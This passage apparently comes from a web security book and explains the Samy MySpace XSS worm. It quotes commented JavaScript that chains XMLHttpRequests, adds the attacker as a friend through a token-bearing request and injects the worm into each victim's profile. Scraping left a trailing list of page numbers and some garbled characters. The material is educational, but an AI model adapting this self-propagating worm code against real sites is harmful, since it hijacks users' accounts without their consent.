Samy uses the callback
// function in XMLHttpRequest to chain numerous requests together. The
// first request simply makes a request to view the user's profile in
// order to see if "samy" is already the victim's hero.
httpSend(url, analyzeVictimsProfile, 'GET');
xmlhttp2 = getXMLObj();
// This adds user "11851658" (Samy) to the victim's friend list.
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&" +
"Mytoken=' + myTokenParameter, addSamyToVictimsFriendsList, 'GET');
}
59
The most interesting line above is httpSend(url, analyzeVictimsProfile,
'GET');, because it starts the chain of XMLHttpRequests that ultimately adds all the
JavaScript code into the victim??™s profile page. The first request simply loads up the
victim??™s profile page. The next function, analyzeVictimsProfile(), handles the
HTTP response, and is shown here:
// This function reviews Samy's first request to the victim's main "profile"
// page. The code checks to see if "samy" is already a hero. If his is not
// already the victim's hero, the code does the first step to add samy as a
// hero, and more importantly, injects the worm in the victim's profile
// page. The second step is performed in postHero().
Pages:
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146